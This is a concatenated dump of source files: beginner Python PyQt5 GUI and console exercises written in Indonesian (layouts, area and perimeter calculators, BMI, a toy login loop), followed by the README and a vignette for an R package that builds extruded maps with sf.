self.pushButtonToogle = QPushButton("Toogle Push Button") self.pushButtonToogle.setCheckable(True) self.pushButtonToogle.setStyleSheet("background-color : lightgrey") self.pushButtonToogle.clicked.connect(self.gantiWarnaButton) self.pushButtonFlat = QPushButton("flat push button") self.pushButtonFlat.setFlat(True) self.formGroupBox2 = QGroupBox() vbox2 = QVBoxLayout() vbox2.addWidget(pushButton) vbox2.addWidget(self.pushButtonToogle) vbox2.addWidget(self.pushButtonFlat) vbox2.addStretch(1) self.formGroupBox2.setLayout(vbox2) # group 3 tab = QTabWidget() table = QTableWidget(4,3) tab1 = QWidget() tab2 = QWidget() hbox = QHBoxLayout() hbox.setContentsMargins(5, 5, 5, 5) hbox.addWidget(table) tab1.setLayout(hbox) textEdit = QTextEdit(window) hbox2 = QHBoxLayout() hbox2.setContentsMargins(5, 5, 5, 5) hbox2.addWidget(textEdit) tab2.setLayout(hbox2) tab.addTab(tab1,"Table") tab.addTab(tab2,"Text Edit") # group 4 pasw = QLineEdit("<PASSWORD>") pasw.setEchoMode(QLineEdit.Password) spn = QSpinBox() spn.setValue(50) tanggal = QDateTimeEdit(window) tanggal.setDateTime(QDateTime.currentDateTime()) slider = QSlider(Qt.Horizontal,window) slider.setValue(50) scrollBar = QScrollBar(Qt.Horizontal, window) scrollBar.setValue(60) dial = QDial(window) dial.setValue(30) dial.setNotchesVisible(True) grid = QGridLayout() grid.addWidget(slider,1,0) grid.addWidget(scrollBar,2,0) grid.addWidget(dial,1,1,2,1) self.formGroupBox4 = QGroupBox() groupG4 = QVBoxLayout() groupG4.addWidget(pasw) groupG4.addWidget(spn) groupG4.addWidget(tanggal) groupG4.addLayout(grid) self.formGroupBox4.setLayout(groupG4) # group 5 progressbar = QProgressBar() progressbar.setRange(0,100) progressbar.setValue(22) # set widget dan layout g1 = QLabel("Group 1") bok1=QVBoxLayout() bok1.addWidget(g1) bok1.addWidget(self.formGroupBox1) g2 = QLabel("Group 2") bok2=QVBoxLayout() bok2.addWidget(g2) bok2.addWidget(self.formGroupBox2) bok3=QVBoxLayout() bok3.addWidget(tab) g4 = QCheckBox("Group 4") g4.setChecked(True) bok4=QVBoxLayout() bok4.addWidget(g4) bok4.addWidget(self.formGroupBox4) bok5 = QVBoxLayout() bok5.addWidget(progressbar) self.induk.addLayout(self.hbox,0,0,1,2) self.induk.addLayout(bok1,1,0) self.induk.addLayout(bok2,1,1) self.induk.addLayout(bok3,2,0) self.induk.addLayout(bok4,2,1) self.induk.addLayout(bok5,3,0,1,2) self.induk.setRowStretch(1, 1) self.induk.setRowStretch(2, 1) self.induk.setColumnStretch(0, 1) self.induk.setColumnStretch(1, 1) self.setLayout(self.induk) def gantiWarnaButton(self): if self.pushButtonToogle.isChecked(): self.pushButtonToogle.setStyleSheet("background-color : lightblue") else: self.pushButtonToogle.setStyleSheet("background-color : lightgrey") if __name__ == '__main__': app = QApplication(sys.argv) window = Window_go() sys.exit(app.exec_()) <file_sep>import sys from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.QtGui import * class HomePage(QWidget): def __init__(self, parent=None): super(HomePage, self).__init__(parent) self.box = QVBoxLayout() self.judul = QLabel("Tools Hitungan Sederhana") self.kata = QLabel("\" silahkan klik di tulisannya\"") self.box.addWidget(self.judul) self.box.addWidget(self.kata) self.btn1 = QPushButton("1. Luas ") self.btn2 = QPushButton("2. Keliling") self.btn1.setFlat(True) self.btn2.setFlat(True) self.layout1= QGridLayout() self.layout1.addLayout(self.box, 0, 1) self.layout1.addWidget(self.btn1, 2, 0) self.layout1.addWidget(self.btn2, 3, 0) self.layout1.addWidget(QLabel(""),0,3) self.layout1.addWidget(QLabel(""),1,0) self.layout1.setRowStretch(4,1) self.setLayout(self.layout1) class HalamanLuas(QWidget): def setupPage(self,Window_go): self.box = QVBoxLayout() self.judul = QLabel("<NAME>") self.box.addWidget(self.judul) self.btn1 = QPushButton("1. Persegi ") self.btn2 = QPushButton("2. Persegi Panjang") self.btn1.setFlat(True) self.btn2.setFlat(True) self.kembali = QPushButton("<< kembali") self.layout1= QGridLayout() self.layout1.addLayout(self.box, 0, 1) self.layout1.addWidget(self.btn1, 2, 0) self.layout1.addWidget(self.btn2, 3, 0) self.layout1.addWidget(QLabel(""),0,3) self.layout1.addWidget(QLabel(""),1,0) self.layout1.addWidget(self.kembali,5,0) self.layout1.setRowStretch(4,1) self.layout1.setRowStretch(6,0) self.setLayout(self.layout1) class HalamanKeliling(QWidget): def setupPage(self,Window_go): self.box = QVBoxLayout() self.judul = QLabel("Keliling Bangun Datar") self.box.addWidget(self.judul) self.btn1 = QPushButton("1. Persegi ") self.btn2 = QPushButton("2. Persegi Panjang") self.btn1.setFlat(True) self.btn2.setFlat(True) self.kembali = QPushButton("<< kembali") self.layout1= QGridLayout() self.layout1.addLayout(self.box, 0, 1) self.layout1.addWidget(self.btn1, 2, 0) self.layout1.addWidget(self.btn2, 3, 0) self.layout1.addWidget(QLabel(""),0,3) self.layout1.addWidget(QLabel(""),1,0) self.layout1.addWidget(self.kembali,5,0) self.layout1.setRowStretch(4,1) self.layout1.setRowStretch(6,0) self.setLayout(self.layout1) class HalamanLuasPersegiPanjang(QWidget): def setupPage(self,Window_go): self.box = QVBoxLayout() self.judul = QLabel("Luas Persegi Panjang") self.judul.setAlignment(Qt.AlignCenter) self.box.addWidget(self.judul) # panjang self.hboxP = QHBoxLayout() self.pjg = QLabel("panjang :") self.pjgss = QLineEdit() self.hboxP.addWidget(self.pjg) self.hboxP.addWidget(self.pjgss) # lebar self.hboxL = QHBoxLayout() self.lbr = QLabel("lebar :") self.lbrss = QLineEdit() self.hboxL.addWidget(self.lbr) self.hboxL.addWidget(self.lbrss) # btn hitung self.hboxBTN = QHBoxLayout() self.submit = QPushButton("Hitung !!") self.submit.clicked.connect(self.hitungan) self.hboxBTN.addWidget(self.submit) self.hboxBTN.addStretch(1) # hasil self.hboxHasil = QHBoxLayout() self.hasil = QLabel("Luas Persegi Panjang =") self.itung = QLabel() self.hboxHasil.addWidget(self.hasil) self.hboxHasil.addWidget(self.itung) # btn kembali self.hboxKembali = QHBoxLayout() self.kembali = QPushButton("<< kembali") self.hboxKembali.addWidget(self.kembali) self.hboxKembali.addStretch(1) self.vbox = QVBoxLayout() self.vbox.addLayout(self.box) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxP) self.vbox.addLayout(self.hboxL) self.vbox.addLayout(self.hboxBTN) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxHasil) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxKembali) self.vbox.addStretch(1) self.setLayout(self.vbox) def hitungan(self): try: panjang = float(self.pjgss.text()) lebar = float(self.lbrss.text()) luas = panjang*lebar self.itung.setText(str(luas)) except ValueError: msg = QMessageBox() msg.setIcon(QMessageBox.Critical) msg.setWindowTitle("Alert") msg.setText("sepertinya ada yang belum terisi") msg.exec_() class HalamanKelilingPersegiPanjang(QWidget): def setupPage(self,Window_go): self.box = QVBoxLayout() self.judul = QLabel("Keliling Persegi Panjang") self.judul.setAlignment(Qt.AlignCenter) self.box.addWidget(self.judul) # panjang self.hboxP = QHBoxLayout() self.pjg = QLabel("panjang :") self.pjgss = QLineEdit() self.hboxP.addWidget(self.pjg) self.hboxP.addWidget(self.pjgss) # lebar self.hboxL = QHBoxLayout() self.lbr = QLabel("lebar :") self.lbrss = QLineEdit() self.hboxL.addWidget(self.lbr) self.hboxL.addWidget(self.lbrss) # btn hitung self.hboxBTN = QHBoxLayout() self.submit = QPushButton("Hitung !!") self.submit.clicked.connect(self.hitungan) self.hboxBTN.addWidget(self.submit) self.hboxBTN.addStretch(1) # hasil self.hboxHasil = QHBoxLayout() self.hasil = QLabel("Keliling Persegi Panjang =") self.itung = QLabel() self.hboxHasil.addWidget(self.hasil) self.hboxHasil.addWidget(self.itung) # btn kembali self.hboxKembali = QHBoxLayout() self.kembali = QPushButton("<< kembali") self.hboxKembali.addWidget(self.kembali) self.hboxKembali.addStretch(1) self.vbox = QVBoxLayout() self.vbox.addLayout(self.box) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxP) self.vbox.addLayout(self.hboxL) self.vbox.addLayout(self.hboxBTN) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxHasil) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxKembali) self.vbox.addStretch(1) self.setLayout(self.vbox) def hitungan(self): try: panjang = float(self.pjgss.text()) lebar = float(self.lbrss.text()) keliling = (panjang+lebar)*2 self.itung.setText(str(keliling)) except ValueError: msg = QMessageBox() msg.setIcon(QMessageBox.Critical) msg.setWindowTitle("Alert") msg.setText("sepertinya ada yang belum terisi") msg.exec_() class HalamanKelilingPersegi(QWidget): def setupPage(self,Window_go): self.box = QVBoxLayout() self.judul = QLabel("Keliling Persegi") self.judul.setAlignment(Qt.AlignCenter) self.box.addWidget(self.judul) # panjang self.hboxP = QHBoxLayout() self.pjg = QLabel("Sisi :") self.pjgss = QLineEdit() self.hboxP.addWidget(self.pjg) self.hboxP.addWidget(self.pjgss) # btn hitung self.hboxBTN = QHBoxLayout() self.submit = QPushButton("Hitung !!") self.submit.clicked.connect(self.hitungan) self.hboxBTN.addWidget(self.submit) self.hboxBTN.addStretch(1) # hasil self.hboxHasil = QHBoxLayout() self.hasil = QLabel("Keliling persegi =") self.itung = QLabel() self.hboxHasil.addWidget(self.hasil) self.hboxHasil.addWidget(self.itung) # btn kembali self.hboxKembali = QHBoxLayout() self.kembali = QPushButton("<< kembali") self.hboxKembali.addWidget(self.kembali) self.hboxKembali.addStretch(1) self.vbox = QVBoxLayout() self.vbox.addLayout(self.box) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxP) self.vbox.addLayout(self.hboxBTN) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxHasil) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxKembali) self.vbox.addStretch(1) self.setLayout(self.vbox) def hitungan(self): try: panjang = float(self.pjgss.text()) keliling = (panjang)*4 self.itung.setText(str(keliling)) except ValueError: msg = QMessageBox() msg.setIcon(QMessageBox.Critical) msg.setWindowTitle("Alert") msg.setText("sepertinya ada yang belum terisi") msg.exec_() class HalamanLuasPersegi(QWidget): def setupPage(self,Window_go): self.box = QVBoxLayout() self.judul = QLabel("Luas Persegi") self.judul.setAlignment(Qt.AlignCenter) self.box.addWidget(self.judul) # panjang self.hboxP = QHBoxLayout() self.pjg = QLabel("Sisi :") self.pjgss = QLineEdit() self.hboxP.addWidget(self.pjg) self.hboxP.addWidget(self.pjgss) # btn hitung self.hboxBTN = QHBoxLayout() self.submit = QPushButton("Hitung !!") self.submit.clicked.connect(self.hitungan) self.hboxBTN.addWidget(self.submit) self.hboxBTN.addStretch(1) # hasil self.hboxHasil = QHBoxLayout() self.hasil = QLabel("Luas Persegi =") self.itung = QLabel() self.hboxHasil.addWidget(self.hasil) self.hboxHasil.addWidget(self.itung) # btn kembali self.hboxKembali = QHBoxLayout() self.kembali = QPushButton("<< kembali") self.hboxKembali.addWidget(self.kembali) self.hboxKembali.addStretch(1) self.vbox = QVBoxLayout() self.vbox.addLayout(self.box) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxP) self.vbox.addLayout(self.hboxBTN) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxHasil) self.vbox.addWidget(QLabel()) self.vbox.addLayout(self.hboxKembali) self.vbox.addStretch(1) self.setLayout(self.vbox) def hitungan(self): try: panjang = float(self.pjgss.text()) luas = panjang*panjang self.itung.setText(str(luas)) except ValueError: msg = QMessageBox() msg.setIcon(QMessageBox.Critical) msg.setWindowTitle("Alert") msg.setText("sepertinya ada yang belum terisi") msg.exec_() class Window_go(QMainWindow): #menentukan ukuran window, + title dan menampilkan def __init__(self,parent=None): super(Window_go,self).__init__(parent) self.setWindowTitle("Pemdesk") self.setGeometry(300, 200, 280, 200) self.startHomepage() def startHomepage(self): self.homepage = HomePage(self) self.setCentralWidget(self.homepage) self.homepage.btn1.clicked.connect(self.startHalamanluas) self.homepage.btn2.clicked.connect(self.startHalamankeliling) self.show() def startHalamanluas(self): self.halamanluas = HalamanLuas(self) self.setCentralWidget(self.halamanluas) self.halamanluas.setupPage(self) self.halamanluas.btn2.clicked.connect(self.startHalamanLuasPersegiPanjang) self.halamanluas.btn1.clicked.connect(self.startHalamanLuasPersegi) self.halamanluas.kembali.clicked.connect(self.startHomepage) self.show() def startHalamankeliling(self): self.halamankeliling = HalamanKeliling(self) self.setCentralWidget(self.halamankeliling) self.halamankeliling.setupPage(self) self.halamankeliling.btn2.clicked.connect(self.startHalamanKelilingPersegiPanjang) self.halamankeliling.btn1.clicked.connect(self.startHalamanKelilingPersegi) self.halamankeliling.kembali.clicked.connect(self.startHomepage) self.show() def startHalamanLuasPersegiPanjang(self): self.halamanLuasPP = HalamanLuasPersegiPanjang(self) self.setCentralWidget(self.halamanLuasPP) self.halamanLuasPP.setupPage(self) self.halamanLuasPP.kembali.clicked.connect(self.startHalamanluas) self.show() def startHalamanKelilingPersegiPanjang(self): self.halamanKelilingPP = HalamanKelilingPersegiPanjang(self) self.setCentralWidget(self.halamanKelilingPP) self.halamanKelilingPP.setupPage(self) self.halamanKelilingPP.kembali.clicked.connect(self.startHalamankeliling) self.show() def startHalamanKelilingPersegi(self): self.halamanKelilingPsg = HalamanKelilingPersegi(self) self.setCentralWidget(self.halamanKelilingPsg) self.halamanKelilingPsg.setupPage(self) self.halamanKelilingPsg.kembali.clicked.connect(self.startHalamankeliling) self.show() def startHalamanLuasPersegi(self): self.halamanLuasPsg = HalamanLuasPersegi(self) self.setCentralWidget(self.halamanLuasPsg) self.halamanLuasPsg.setupPage(self) self.halamanLuasPsg.kembali.clicked.connect(self.startHalamanluas) self.show() if __name__ == '__main__': app = QApplication(sys.argv) window = Window_go() sys.exit(app.exec_()) <file_sep>def satu(): print("NO.1 Rata-Rata ") a,b,c,d,e = 1,2,3,4,5 mean = (a+b+c+d+e)/5 print("rata-rata =",mean) def dua(): print("NO.2 Luas dan Keliling") print("========================================================================") print(" ") print("1. Luas persegi") print("2. Luas persegi panjang") print("3. Keliling persegi") print("4. Keliling persegi panjang") a = int(input("Masukkan nomor yang kamu pilih : ")) if a == 1: print("========================================================================") print("Luas Persegi") b = float(input("masukkan panjang sisinya : ")) c = b**2 print("luas persegi : " + str(c)) elif a == 2: print("========================================================================") print("Luas persegi panjang") d = float(input("masukkan panjang persegi panjang : ")) e = float(input("masukkan lebar persegi panjang : " )) f = d*e print("luas persegi panjang: " + str(f)) elif a == 3: print("========================================================================") print("Keliling Persegi") a = float(input("masukkan panjang sisinya : ")) b = 4*a print("Keliling persegi : ",str(b)) elif a == 4: print("========================================================================") print("Keliling Persegi Panjang") a = float(input("masukkan panjangnya : ")) b = float(input("masukkan lebarnya : ")) k = (2*a)+(2*b) print("Keliling persegi : ",str(k)) else: print("anda salah memasukkan input") def tiga(): print("NO.3 BMI") tinggi = float(input("masukkan tinggi badan anda (dalam satuan meter) = ")) berat = float(input("masukkan berat badan anda (dalam satuan kilogram) = ")) BMI = berat/(tinggi**2) print("indeks masa tubuh anda adalah : ", BMI) if BMI<18.5: print("berat badan kurang") elif 18.5<=BMI<23: print("berat badan normal") elif 23<=BMI<30: print("Berat badan berlebih (kecenderungan obesitas)") else: print("obesitas") def empat(): print("NO.4 Nilai Maks & Min") angka = [] while True: inputan = float(input("masukkan angka = ")) angka.append(inputan) tanya = input("apakah anda ingin memasukkan angka lagi ? y/n ") if tanya == "y": continue elif tanya == "n": break else: print("jangan sampai salah huruf") break besar = angka[0] kecil = angka[0] for i in angka: if i > besar: besar = i elif i < kecil: kecil = i print("ini list", angka) print("ini maksimal",besar) print("ini minimal", kecil) def lima(): uname = "Musta" pasw = "<PASSWORD>" temp = 3 while temp >= 0: if temp == 0: print("") print('''silahkan konfigurasi ulang username dan password anda, dikarenakan anda sudah 3x melakukan kesalahan.''') break username = input("masukkan username anda :") password = input("masukkan password anda :") if username == uname and password == <PASSWORD> : print("") print("anda berhasil masuk") break elif username != uname or password != pasw : print("maaf user name dan password anda salah") temp -=1 continue satu() #dua() #tiga() #empat() #lima() <file_sep>import sys from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.QtGui import * class Window_go(QMainWindow): #menentukan ukuran window, + title dan menampilkan def __init__(self): super().__init__() self.setWindowTitle("Pemdesk") self.setGeometry(100, 100, 600, 500) self.UiComponents() self.tulisan() self.show() #membuat teks def tulisan(self): self.label_2 = QLabel("kotak angka", self) self.label_2.setStyleSheet("font-size : 15px") self.label_2.move(30, 5) # method untuk button def UiComponents(self): letak = 30 tulis = 1 for i in range(5): tulisKotak = str(tulis) # membuat push button button = QPushButton(tulisKotak, self) button.setStyleSheet("background-color: #87b4e7 ; color : red ; font-size : 40px; font-weight: bold;") # setting geometry button button.setGeometry(letak, 40, 50, 50) tulis += 1 letak += 60 if __name__ == '__main__': app = QApplication(sys.argv) window = Window_go() sys.exit(app.exec_())<file_sep>import sys from PyQt5.QtWidgets import * def window(): app = QApplication(sys.argv) win = QWidget() #baris1 l1 = QLabel("Name") nm = QLineEdit() #baris2 l2 = QLabel("Address") add1 = QLineEdit() fbox = QFormLayout() fbox.addRow(l1,nm) fbox.addRow(l2,add1) #span, mengisi 1 baris full btn1 = QPushButton("tutup") fbox.addRow(btn1) #layout baru, vertical l3 = QLabel("Hobby") lay1 = QVBoxLayout() chk1 = QCheckBox("Makan") chk2 = QCheckBox("Tidur") chk3 = QCheckBox("Main") lay1.addWidget(chk1) lay1.addWidget(chk2) lay1.addWidget(chk3) #fbox.addRow(l3, lay1) win.setLayout(fbox) win.setWindowTitle("PyQt") win.show() sys.exit(app.exec_()) if __name__ == '__main__': window() <file_sep># MATKUL PEMROGRAMAN DESKTOP # nim: 190411100014 Latihan Soal <file_sep>import sys from PyQt5.QtWidgets import * def window(): app = QApplication(sys.argv) win = QWidget() b1 = QPushButton("Button1") b2 = QPushButton("Button2") vbox = QVBoxLayout() vbox.addWidget(b1) ## vbox.addStretch() vbox.addWidget(b2) win.setLayout(vbox) win.setWindowTitle("PyQt") win.show() sys.exit(app.exec_()) if __name__ == '__main__': window() <file_sep>import sys from PyQt5.QtWidgets import QApplication, QWidget, QLabel #membuat fungsi utk menentukan layout window def window_go(): #inisialisasi pyqt app = QApplication(sys.argv) window = QWidget() #menyiapkan label, menempelkan label ke window #settext, dan posisi a = 10 for i in range(10): textLabel = QLabel(window) kata = "Hello World! ke-{}".format(i+1) textLabel.setText(kata) textLabel.move(110,a) a += 15 #menentukan ukuran window, + title dan menampilkan window.setGeometry(50,50,320,200) window.setWindowTitle("PyQt5 contoh") window.show() sys.exit(app.exec_()) if __name__ == '__main__': window_go() <file_sep>import sys from PyQt5.QtWidgets import * def window(): app = QApplication(sys.argv) win = QWidget() grid = QGridLayout() btn1 = QPushButton("btn1") btn2 = QPushButton("btn2") btn3 = QPushButton("btn3") btn4 = QPushButton("btn4") btn5 = QPushButton("btn5") btn6 = QPushButton("btn6") grid.addWidget(btn1,1,1) grid.addWidget(btn2,1,3) grid.addWidget(btn3,2,2) grid.addWidget(btn4,2,4) grid.addWidget(btn5,3,1) grid.addWidget(btn6,4,4) #layout tambahan label1 = QLabel("Label1 baris1") label2 = QLabel("Label2 baris2") lay1 = QVBoxLayout() lay1.addWidget(label1) lay1.addWidget(label2) #grid.addLayout(lay1,2,3) win.setLayout(grid) win.setGeometry(100,100,200,100) win.setWindowTitle("PyQt") win.show() sys.exit(app.exec_()) if __name__ == '__main__': window() <file_sep>import sys from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.QtGui import * class Window_go(QWidget): #menentukan ukuran window, + title dan menampilkan def __init__(self): super().__init__() self.setWindowTitle("Pemdesk") self.setGeometry(300, 100, 400, 300) self.createForm() self.show() def createForm(self): layout = QFormLayout() #berisi tulisan "input biodata" diletakkan di kolom pertama self.label_2 = QLabel("Input Biodata", self) self.label_2.setStyleSheet("font-size : 30px; background-color : #7cb8fd; color : red; font-weight: bold;") layout.addRow(self.label_2) #ini line edit ini berisi kotak kosong layout.addRow(QLabel("Name:"), QLineEdit()) layout.addRow(QLabel("Address:"), QLineEdit()) layout.addRow(QLabel(""), QLineEdit()) #ini check box, untuk membuat checkbox ini menggunakan "QCheckBox" #lalu setChecked ini untuk membuat awalan box apakah tercentang atau tidak #fung addrow ini untuk mengatur checkbox ini sesuai pada baris, jadi tidak perlu repot memindahkan secara manual checkBox1 = QCheckBox("Makan") checkBox1.setChecked(False) layout.addRow(QLabel("Hobby"), checkBox1) checkBox1 = QCheckBox("Tidur") checkBox1.setChecked(False) layout.addRow(QLabel(""), checkBox1) checkBox1 = QCheckBox("Main") checkBox1.setChecked(False) layout.addRow(QLabel(""), checkBox1) #ini radio btn, untuk membuat radiobutton ini menggunakan "QRadioButton" #lalu setChecked ini untuk membuat awalan radiobutton apakah tercentang atau tidak #fung addrow ini untuk mengatur radiobutton ini sesuai pada baris, jadi tidak perlu repot memindahkan secara manual radiobutton1 = QRadioButton("Pelajar") radiobutton1.setChecked(False) layout.addRow(QLabel("Status"), radiobutton1) radiobutton2 = QRadioButton("Pegawai") radiobutton2.setChecked(False) layout.addRow(QLabel(""), radiobutton2) radiobutton3 = QRadioButton("Wiraswasta") radiobutton3.setChecked(False) layout.addRow(QLabel(""), radiobutton3) #set layoutnya kegunaannya untuk menerapkan layout yang kita gunakan self.setLayout(layout) if __name__ == '__main__': app = QApplication(sys.argv) window = Window_go() sys.exit(app.exec_())
e1fd731ff998ec66e220e017b4e948c7bb9f3926
[ "Markdown", "Python" ]
10
Python
JianFei1/Pemdesk
bbd2b47a88f8bfbffc800ee57970637224d9f0b7
62eb1cbcf0ddc40e364d88e84dd6b0e20a797293
refs/heads/master
<repo_name>neocarto/mapextrud<file_sep>/README.md # mapextrud (R package) <p style="color:red">Work in progress!</p> ![](img/map6.png) Description available [here](https://neocarto.github.io/mapextrud/vignettes/how-to-build-extruded-maps.html) <file_sep>/vignettes/how-to-build-extruded-maps.Rmd --- title: "How to Build Extruded Maps?" output: rmarkdown::html_vignette vignette: > %\VignetteIndexEntry{how-to-build-extruded-maps} %\VignetteEngine{knitr::rmarkdown} %\VignetteEncoding{UTF-8} --- ```{r, include = FALSE} knitr::opts_chunk$set( collapse = TRUE, comment = "#>" ) ``` <p style="color:red">WARNING: this is a work in progress!</p> ## 1 - Principles the *mapextrud* R package allows to make extruded maps from sf objects (polygons or multipolygons). For the moment, it is only available on github. Until a more advanced version is available on CRAN, you can install the package by writing this... ```{r, eval=FALSE, echo = TRUE} library(devtools) install_github("neocarto/mapextrud") ``` ... and load the package like that. ```{r eval=TRUE, warning = FALSE, message=FALSE} library(mapextrud) ``` ## 2 - Basemap setup The first thing to do before making an extruded map is to deform the basemap to give it a perspective effect. To do this, you can use the *deform()* function. We Load an example background map on the US. ```{r eval=TRUE, warning = FALSE, message=FALSE} library(sf) us <- st_read(system.file("us.gpkg", package="mapextrud")) ``` See below the original basemap ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map1.png")){ png("../img/map1.png", width = 2070, height = 1350, res = 300) par(mar = c(0,0,0,0)) plot(st_geometry(us), col="#99aed1", border = "white", lwd=0.4) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} plot(st_geometry(us), col="#99aed1", border = "white", lwd=0.4) ``` ![[Zoom](../img/map1.png)](../img/map1.png){ width=100% } And here, the deformed basemap. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map2.png")){ png("../img/map2.png", width = 2070, height = 900, res = 300) par(mar = c(0,0,0,0)) basemap <- deform(us) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} basemap <- deform(us) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4) ``` ![[Zoom](../img/map2.png)](../img/map2.png){ width=100% } To better perceive the deformation, you can add a frame with the *getframe()* function ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map3.png")){ png("../img/map3.png", width = 2060, height = 720, res = 300) par(mar = c(0,0,0,0)) basemap <- deform(us) frame <- deform(getframe(us)) plot(st_geometry(frame), col="#e1e5eb", border = "#99aed1", lwd=0.4) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4, add = TRUE) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} basemap <- deform(us) frame <- deform(getframe(us)) plot(st_geometry(frame), col="#e1e5eb", border = "#99aed1", lwd=0.4) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4, add = TRUE) ``` ![[Zoom](../img/map3.png)](../img/map3.png){ width=100% } Notice that you can configure the deformation. The parameter *flatten* indicates the scaling in Y. The parameter *rescale* adjust the deformation of the top and bottom of the figure (c(1,1) = no deformation). ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map4.png")){ png("../img/map4.png", width = 2070, height = 420, res = 300) par(mar = c(0,0,0,0)) basemap <- deform(us, flatten=0.5, rescale = c(0.5, 3)) frame <- deform(getframe(us), flatten=0.5, rescale = c(0.5, 3)) plot(st_geometry(frame), col="#e1e5eb", border = "#99aed1", lwd=0.4) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4, add = TRUE) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} basemap <- deform(us, flatten=0.5, rescale = c(0.5, 3)) frame <- deform(getframe(us), flatten=0.5, rescale = c(0.5, 3)) plot(st_geometry(frame), col="#e1e5eb", border = "#99aed1", lwd=0.4) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4, add = TRUE) ``` ![[Zoom](../img/map4.png)](../img/map4.png){ width=100% } It can also be useful to rotate the basemap with the *rotate()* function. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map5.png")){ png("../img/map5.png", width = 2070, height = 720, res = 300) par(mar = c(0,0,0,0)) us2 <- rotate(us, 180) basemap <- deform(us2) frame <- deform(getframe(us2)) plot(st_geometry(frame), col="#e1e5eb", border = "#99aed1", lwd=0.4) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4, add = TRUE) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} us2 <- rotate(us, 180) basemap <- deform(us2) frame <- deform(getframe(us2)) plot(st_geometry(frame), col="#e1e5eb", border = "#99aed1", lwd=0.4) plot(st_geometry(basemap), col="#99aed1", border = "white", lwd=0.4, add = TRUE) ``` ![[Zoom](../img/map5.png)](../img/map5.png){ width=100% } ## 3 - Build an extruded map Now we're ready to start extruding... To do this, we use the function - unsustainable suspensions - *extrud()*. Beware, this is still an experimental function. It has bugs and works very slowly. Sorry for that! Find below a simple example with the default settings. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map6.png")){ png("../img/map6.png", width = 2070, height = 900, res = 300) par(mar = c(0,0,0,0)) basemap <- deform(us) extrude(basemap, var = "pop2019", lwd = 0.5) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} basemap <- deform(us) extrude(basemap, var = "pop2019") ``` ![[Zoom](../img/map6.png)](../img/map6.png){ width=100% } Of course, you can custom the map by changing colors (*col*) and heights (*k*). On the reprentation below, you will probably notice some imperfections. I hope to be able to fix them in the next version of the package. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map7.png")){ png("../img/map7.png", width = 2070, height = 900, res = 300) par(mar = c(0,0,0,0)) basemap <- deform(us) extrude(basemap, var = "pop2019", col="#99aed1", k =1.8, lwd = 0.5) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} basemap <- deform(us) extrude(basemap, var = "pop2019", col="#99aed1", k =1.8) ``` ![[Zoom](../img/map7.png)](../img/map7.png){ width=100% } ## 4 - Another example with *smoothed* data Find here an example of the number of hospital beds in Paris provided in the SpatialPosition package. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map8.png")){ png("../img/map8.png", width = 2070, height = 900, res = 300) par(mar = c(0,0,0,0)) library(SpatialPosition) library(cartography) pot <- quickStewart(x = hospital, var = "capacity", span = 800, beta = 2, mask = paris, returnclass = "sf") breaks <- sort(c(unique(pot$min), max(pot$max)), decreasing = FALSE) choroLayer(x = pot, var = "center", breaks = breaks, legend.pos = "topleft", legend.title.txt = "Nb. of Beds") dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} library(SpatialPosition) library(cartography) pot <- quickStewart(x = hospital, var = "capacity", span = 800, beta = 2, mask = paris, returnclass = "sf") breaks <- sort(c(unique(pot$min), max(pot$max)), decreasing = FALSE) choroLayer(x = pot, var = "center", breaks = breaks, legend.pos = "topleft", legend.title.txt = "Nb. of Beds") ``` ![[Zoom](../img/map8.png)](../img/map8.png){ width=100% } And here's the same map after extrusion. ```{r, eval=TRUE, echo = FALSE, include = FALSE} if (!file.exists("../img/map9.png")){ png("../img/map9.png", width = 2070, height = 900, res = 300) par(mar = c(0,0,0,0)) library(SpatialPosition) data("hospital") # Compute potentials pot <- quickStewart(x = hospital, var = "capacity", span = 800, beta = 2, mask = paris, returnclass = "sf") basemap <- deform(pot) extrude(basemap, "center", k = 4, col = "white", lwd = 0.7, regular = FALSE) dev.off() } ``` ```{r, eval=FALSE, echo = TRUE} library(SpatialPosition) data("hospital") # Compute potentials pot <- quickStewart(x = hospital, var = "capacity", span = 800, beta = 2, mask = paris, returnclass = "sf") basemap <- deform(pot) extrude(basemap, "center", k = 4, col = "white", lwd = 0.7, regular = FALSE) ``` ![[Zoom](../img/map9.png)](../img/map9.png){ width=100% } Be informed that, instead of defining a single color, you can use a field defining the color of each object. ```{r, 